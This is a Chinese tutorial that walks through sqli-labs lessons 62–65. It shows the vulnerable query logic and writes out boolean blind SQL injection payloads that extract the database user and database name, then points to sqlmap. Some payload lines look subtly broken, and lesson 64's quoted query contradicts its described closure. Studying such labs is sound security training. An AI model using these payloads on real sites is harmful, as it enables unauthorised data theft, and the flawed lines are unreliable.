WEB常见漏洞之SQL注入(靶场篇—4)4

简介: WEB常见漏洞之SQL注入(靶场篇—4)

Lesson-62

该题为单括号单引号get型注入,利用方式包括布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了单括号单引号,同时不再输出数据库报错信息,因此不能使用报错注入,只能使用盲注

使用布尔盲注判断注入点

id=1')--+

查询长度

id=1') and length(user())>13--+ //返回正常界面

id=1')and length(user())>14--+ //返回不同界面

两次结果不同,由此判断长度为 14

查询字符

id=1') and substr(user(),1,1)='r'--+ //返回正常界面

id=1')andleft(user(),1)='r'--+ //left()函数

id=1') and rand(ascii(substr(user(),1,1))=114--+ //ASCII码

id=1') and substr(user(),1,1)='s'--+ //返回不同界面

确定用户名为root@localhost

id=1') and substr(user(),1,14)='root@localhost'--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

id=1') and substr((select database()),1,14)='challenges'--+

手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key

Lesson-63

该题为单引号get型注入,利用方式包括布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson62的利用方式相同,只不过拼接方式由单括号单引号转为了单引号

使用布尔盲注判断注入点

id=1'--+

查询长度

id=1' and length(user())>13--+ //返回正常界面

id=1'and length(user())>14--+ //返回不同界面

两次结果不同,由此判断长度为 14

查询字符

id=1' and substr(user(),1,1)='r'--+ //返回正常界面

id=1'andleft(user(),1)='r'--+ //left()函数

id=1' and rand(ascii(substr(user(),1,1))=114--+ //ASCII码

id=1' and substr(user(),1,1)='s'--+ //返回不同界面

确定用户名为root@localhost

id=1' and substr(user(),1,14)='root@localhost'--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

id=1' and substr((select database()),1,14)='challenges'--+

手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key

Lesson-64

该题为双括号get型注入,利用方式包括布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson62的利用方式相同,只不过拼接方式由单括号单引号转为了双括号

使用布尔盲注判断注入点

id=1))--+

查询长度

id=1))and length(user())>13--+ //返回正常界面

id=1))and length(user())>14--+ //返回不同界面

两次结果不同,由此判断长度为 14

查询字符

id=1))and substr(user(),1,1)='r'--+ //返回正常界面

id=1))andleft(user(),1)='r'--+ //left()函数

id=1))and rand(ascii(substr(user(),1,1))=114--+ //ASCII码

id=1))and substr(user(),1,1)='s'--+ //返回不同界面

确定用户名为root@localhost

id=1))and substr(user(),1,14)='root@localhost'--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

id=1))and substr((selectdatabase()),1,14)='challenges'--+

手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key

Lesson-65

该题为单括号双引号get型注入,利用方式包括布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  $id ='"'.$id.'"';

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson62的利用方式相同,只不过拼接方式由单括号单引号转为了单括号双引号

使用布尔盲注判断注入点

id=1")--+

查询长度

id=1") and length(user())>13--+ //返回正常界面

id=1")and length(user())>14--+ //返回不同界面

两次结果不同,由此判断长度为 14

查询字符

id=1") and substr(user(),1,1)='r'--+ //返回正常界面

id=1")andleft(user(),1)='r'--+ //left()函数

id=1") and rand(ascii(substr(user(),1,1))=114--+ //ASCII码

id=1") and substr(user(),1,1)='s'--+ //返回不同界面

确定用户名为root@localhost

id=1") and substr(user(),1,14)='root@localhost'--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

id=1") and substr((select database()),1,14)='challenges'--+

手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key

0x02 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 WAF、编码限制,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。至此,sql注入靶场完结。

0x03 知识星球

目录
相关文章
|
9月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2817 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
10月前
|
SQL Web App开发 安全
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
785 2
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
|
9月前
|
安全 Linux PHP
Web渗透-命令执行漏洞-及常见靶场检测实战
命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
1914 0
|
9月前
|
SQL Web App开发 安全
SQL Server 2025 年 9 月更新 - 修复 CVE-2025-47997 SQL Server 信息泄露漏洞
SQL Server 2025 年 9 月更新 - 修复 CVE-2025-47997 SQL Server 信息泄露漏洞
613 0
SQL Server 2025 年 9 月更新 - 修复 CVE-2025-47997 SQL Server 信息泄露漏洞
|
11月前
|
SQL Web App开发 安全
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
1049 0
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
|
SQL 安全 数据库连接
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
587 170
|
SQL 安全 数据库
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
1064 173
|
SQL 安全 PHP
thinkphp5之sql注入漏洞-builder处漏洞
在Web应用开发中,SQL注入是一种需要高度警惕的安全漏洞。通过深入理解ThinkPHP5中的SQL查询机制,并结合安全编码实践,开发者可以有效防止SQL注入攻击,保障应用的安全性和稳定性。
605 13
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
927 2
|
8月前
|
算法 Java Go
【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
625 4